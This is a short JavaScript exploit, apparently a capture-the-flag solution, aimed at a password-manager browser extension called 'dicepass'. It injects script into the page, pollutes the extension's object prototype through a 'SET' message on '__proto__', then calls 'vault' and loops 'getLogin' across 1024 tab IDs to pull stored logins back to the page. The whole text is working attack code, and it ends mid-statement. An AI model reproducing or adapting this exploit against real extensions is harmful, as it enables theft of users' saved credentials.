(async () => { document.head.innerHTML += `
`; await new Promise(r => setTimeout(r, 1000)); const extensionId = await window.dicepass.extensionId; console.log('extensionId', extensionId); await window.dicepass.autofill(); dicepass.prevUsername.ownerDocument.defaultView.scanPage = ` (async () => { chrome.runtime.onMessage.addListener((msg) => { if (msg.type === "RAW" && typeof msg.value === "object") { window.postMessage(msg, "*"); } }); const tabId = await chrome.runtime.sendMessage("init-content"); console.log("tabId", tabId); console.log("polluting..."); chrome.runtime.sendMessage({ id: "xyz", type: "SET", path: ["__proto__", "tabId"], value: { type: "RAW", value: tabId } }); await new Promise(r => setTimeout(r, 1000)); chrome.runtime.sendMessage({ id: "xyz", type: "APPLY", path: ["vault"] }); await new Promise(r => setTimeout(r, 2000)); for (let i = 1; i <= 1024; i++) { const newTabId = tabId + i; console.log(newTabId); chrome.runtime.sendMessage({ id: "xyz", type: "APPLY", path: ["getLogin"], argumentList: [{ type: "RAW", value: newTabId }] }); } })(); `; await new Promise(r => setTimeout(r, 500)); document.body.innerHTML += "